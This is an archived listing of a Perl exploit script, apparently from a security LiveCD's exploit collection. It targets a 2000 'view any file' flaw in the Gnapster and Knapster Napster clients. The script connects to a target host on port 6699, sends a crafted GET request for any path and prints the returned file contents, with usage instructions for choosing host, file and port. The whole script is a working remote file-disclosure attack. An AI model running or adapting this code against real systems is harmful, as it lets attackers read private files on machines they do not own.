home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / gnapster-exp.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  89 lines

  1. #!/usr/bin/perl       
  2.  
  3. ######################################################################## 
  4. #                                                                      #
  5. #             Gnapster / Knapster "view any file" exploit              #
  6. #                                                                      #
  7. #  This script was originally written by no_maam on May the 13th 2000  #
  8. #  and modified by Dennis (conrad.d@web.de) on May the 14th.           #
  9. #                                                                      #
  10. #  It exploits a bug in Gnapster prior to 1.3.9 discovered by          #
  11. #  Jim Early on May the 10th 2000 and a bug in Knapster up to 0.10     #
  12. #  discovered by Tom Daniels on May the 10th 2000.                     #
  13. #  Due to a design error in Gnapster and Knapster it's possible to     #
  14. #  view any file Gnapster / Knapster has access to because the         #
  15. #  application fails to check that the requested file is an            #
  16. #  explicitly shared MP3 file before providing it.                     #
  17. #                                                                      #
  18. #  NOTE: Both clients crashed very often while testing this script!    #
  19. #                                                                      #
  20. #  See Bugtraq ID 1186 at http://www.securityfocus.com for details.    #
  21. #                                                                      #
  22. #                     Standard disclaimer applies.                     #
  23. #                                                                      #
  24. ######################################################################## 
  25.  
  26. use IO::Socket;
  27.  
  28. unless (@ARGV >= 2) {
  29.     &args
  30. }                                                                      
  31.  
  32. print " .: Gnapster / Knapster \"view any file\" exploit by no_maam and Dennis Conrad :.\n\n";
  33.  
  34. $host = $ARGV[0];
  35. $file = $ARGV[1];
  36. $file =~ s/\//\\/g; # Replace any / in filename with \                 
  37.  
  38. if ($ARGV[2] == "") {     #
  39.     $port = 6699          # Use port 6699                              
  40. } elsif ($ARGV[2] != ""){ # if none specified
  41.     $port = $ARGV[2]      #                                            
  42. }                     
  43.  
  44. if ($ARGV[3] eq "") {     #
  45.     $name = "nobody"      # Use name "nobody"
  46. } elsif ($ARGV[3] ne ""){ # if none specified
  47.     $name = $ARGV[3]      #
  48. }
  49.     
  50. $remote = IO::Socket::INET->new( Proto => "tcp",                       
  51.                                  PeerAddr => $host,
  52.                                  PeerPort => $port
  53.                                ) || die " Couldn't open port $port on
  54. $host\n";
  55.  
  56. $remote->autoflush(1);
  57.  
  58. sleep 2; # Wait two seconds (slow connection)
  59.  
  60. print $remote "GET$name \"$file\" 0\n"; # Get the file                 
  61.  
  62. while (<$remote>) {
  63.     if ($_ =~ /FILE NOT FOUND/) { # Test is file exists
  64.         print " File $file not found or the client has no permission so access it.\n";
  65.         exit 1 # Return exit status 0 (for shellscripts)
  66.     }
  67.     
  68.     if ($_ =~ /NOT SHARED/) { # Test for fixed version of Gnapster / Knapster
  69.         print " Sorry, this is a fixed client\n";                      
  70.         exit 1                   
  71.     }                            
  72.                                
  73.     push @output, $_ # Write file to @output
  74. }
  75.  
  76. print "\n@output\n"; # Print @output to STDOUT
  77.  
  78. close $remote;
  79.  
  80. exit 0;
  81.  
  82. sub args { 
  83.     print " Usage: $0 <host> <file> [port] [name]\n"; 
  84.     print " By default port 6699 and name \"nobody\" is used.\n";
  85.     exit 1 
  86. }   
  87.     
  88. # EOF
  89.